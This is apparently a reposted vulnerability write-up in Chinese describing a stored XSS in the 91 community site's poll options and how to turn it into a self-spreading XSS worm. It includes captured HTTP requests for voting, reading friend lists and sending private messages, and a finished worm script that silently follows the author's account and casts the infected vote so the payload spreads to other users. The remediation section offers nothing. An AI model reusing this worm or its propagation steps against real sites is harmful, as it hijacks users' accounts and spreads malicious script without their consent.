好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

91社区存储型XSS和XSS Worm - 网站安全 - 自学php

91社区投票处存在XSS可导致XSS worm传播

1:新建一个任意投票,然后添加选项,加入[XSS code]

 

2:访问投票页面即可触发

 

 

关于XSS Worm实现

思路:

自定义js文件

目标的投票功能存在xss,可以修改投票选项进行xss

一旦访问感染的js,就进行下面操作

1:

自动参加恶意投票,选择被感染的选项投票(投票的选项会自己广播出去从而进行传播)post实现

 

*************************************投票start************************

POST /vote/dovote/vid/433 HTTP/1.1 //433是投票id 

Host: t.91测试数据

Proxy-Connection: keep-alive

Origin: http://t.91测试数据

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1 LBBROWSER

Content-Type: application/x-www-form-urlencoded

Referer: http://t.91测试数据/379610694                //379610694是用户自己的id

Accept-Encoding: gzip,deflate,sdch

 

r=1415               //1415是选项id

*************************************投票end************************

 

 

 

 

2:

读取好友列表,向好友发送让他们参加投票的站内信(站内信传播)get获取列表,post发信

 

***********************************好友读取*****************************

http://t.91测试数据/friend/ajaxfriendlist  //这是好友列表:会显示出好友的信息

 

好友显示出来后会继续get各个好友的头像

/center/avatar.php?uid=379454311&size=small&type=real&random=1359609442    //379454311就是好友id

 

*************************************发信start************************

POST /pm/sendpm/379610694 HTTP/1.1         //379610694是接收人的id

Host: t.91测试数据

Proxy-Connection: keep-alive

Origin: http://t.91测试数据

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1 LBBROWSER

Content-Type: application/x-www-form-urlencoded

Referer: http://t.91测试数据/pm/index/newpm/uid=379610694    //379610694是接收人的id

Accept-Encoding: gzip,deflate,sdch

 

osubject=zhuti&message=zhengwen            //主题和正文

*************************************发信end************************

 

 

 

 

3:

自动收听传播发起人,(统计感染数量) get方式

get  /?controller=friend&action=follow&fid=379454312   //379454312被关注人的id

 

 

 

以上是一开始的思路,现学了1天多js脚本,然后尝试写了一天js后台提交数据,然后在今天下午发现自己NC了。。原因在下图:

 

 

 

本来官方就有自己的函数,我擦擦擦擦。。然后找到函数所在的js文件

 

 

提取出相关代码,分析里面的函数功能实现方式:

***********************************doVote()投票*****************************

**省略**

function doVote()

{

    var _ = art.T91_Waiting();

    $.ajax(

    {

        url : $GLOBALS["site_url"] + "vote/dovote/vid/" + cur_vid, type : "post", dataType : "json", data : $("#voteform").serialize(),  //cur_vid是所发起的投票的id,data的值就是框架所选的,即想要投的选项

        success : function (A)

        {

            _.close();

            if (A.status == 1)

            {

                art.tips("succeed", A. html );    //成功返回消息

                LoadPageMainHtml("commoninfo", $("#copyurl").val() + ((typeof reqs_from != "undefined" && reqs_from != 0) ? ("/from/" + reqs_from) : ""), 

                true, true)

            }

            else {

                art.T91_TipsIcon("error", A.html);  //失败返回消息

            }

        }

    })

}

****省略*****

***********************************doVote()投票*****************************

 

 

发起的投票vid在状态栏可见,即想要投的选项的值在调试模式下可见

 

 

 

即data的值为[r=1482]

***********************************doAddFollow(_)关注*****************************

****省略*****

function doAddFollow(_)

{

    $.ajax(

    {

        url : site_url + "?controller=friend&action=follow", type : "get", dataType : "json", data : "fid=" + _,    //变量[_],没错,下划线是变量名,代表着要关注的人的UID,下面就是各种情况的返回消息。

        success : function (A)

        {

            if (A.state == 1)

            {

                var B = $("div[name='followconcern_" + _ + "']");

                if (B.length > 0)

                {

                    if (A.follow == 1) 

                    {

                        B.find("em[class='color_3']").html("\u5df2\u5173\u6ce8");

                        B.find("span[name='ico']").removeClass();

                        B.find("span[name='ico']").addClass("ico i_ygz");

                        B.find("span[class='col']").html(" | <a href='javascript:void(0);' onclick='delFollow(" + _ + ");' class='contact_cancel'>\u53d6\u6d88</a>") 

                    }

                    else if (A.follow == 2) 

                    {

                        B.find("em[class='color_3']").html("\u76f8\u4e92\u5173\u6ce8");

                        B.find("span[name='ico']").removeClass();

                        B.find("span[name='ico']").addClass("ico i_hxgz");

                        B.find("span[class='col']").html(" | <a href='javascript:void(0);' onclick='delFollow(" + _ + ");' class='contact_cancel'>\u53d6\u6d88</a>") 

                    }

                    art.tips("succeed", A.msg);

                    delUsercard("id=" + _);

                }

            }

            else if (A.state == 2) {

                art.tips("warning", A.msg);

            }

            else if (A.state == 3) {

                art.tips("warning", A.msg);

            }

            else {

                art.tips("error", A.msg);

            }

        }

    })

}

****省略*****

***********************************doAddFollow(_)关注*****************************

 

 

既然是worm,就肯定不要有各种的消息提示,所以精简官方的代码,只留下提交数据的,整合成咱们需要的js:

*************************************成品worm************************

doAddFollow1(379454311);    //379454311自己的uid

window.setTimeout("doVote1();",1000);      //延时1s执行doVote1(),不然有时会类似丢包的效果出现

function doVote1()

{

    var _ = art.T91_Waiting();

    $.ajax(

    {

        url : $GLOBALS["site_url"] + "vote/dovote/vid/453", type : "post", dataType : "json", data : "r=1482",    //453所发起的投票vid,1482所投票的id(即存在XSS代码的选项)

        success : function (A)

        {

            _.close();

            

        }

    })

}

 

function doAddFollow1(_)

{

    $.ajax(

    {

        url : site_url + "?controller=friend&action=follow", type : "get", dataType : "json", data : "fid=" + _, 

        success : function (A)

        {

            if (A.state == 1)

            {

                var B = $("div[name='followconcern_" + _ + "']");

                if (B.length > 0)

                {

                    art.tips("succeed", A.msg);

                    delUsercard("id=" + _);

                }

            }

        }

    })

}

*************************************成品worm************************

 

ps:刚学js,再加上最近要努力学单片机鸟,第二项功能就没继续研究下去了,可以按照投票的js代码修改一下。大家多多包涵。。

修复方案: 

修复方式你懂得

查看更多关于91社区存储型XSS和XSS Worm - 网站安全 - 自学php的详细内容...

  阅读:62次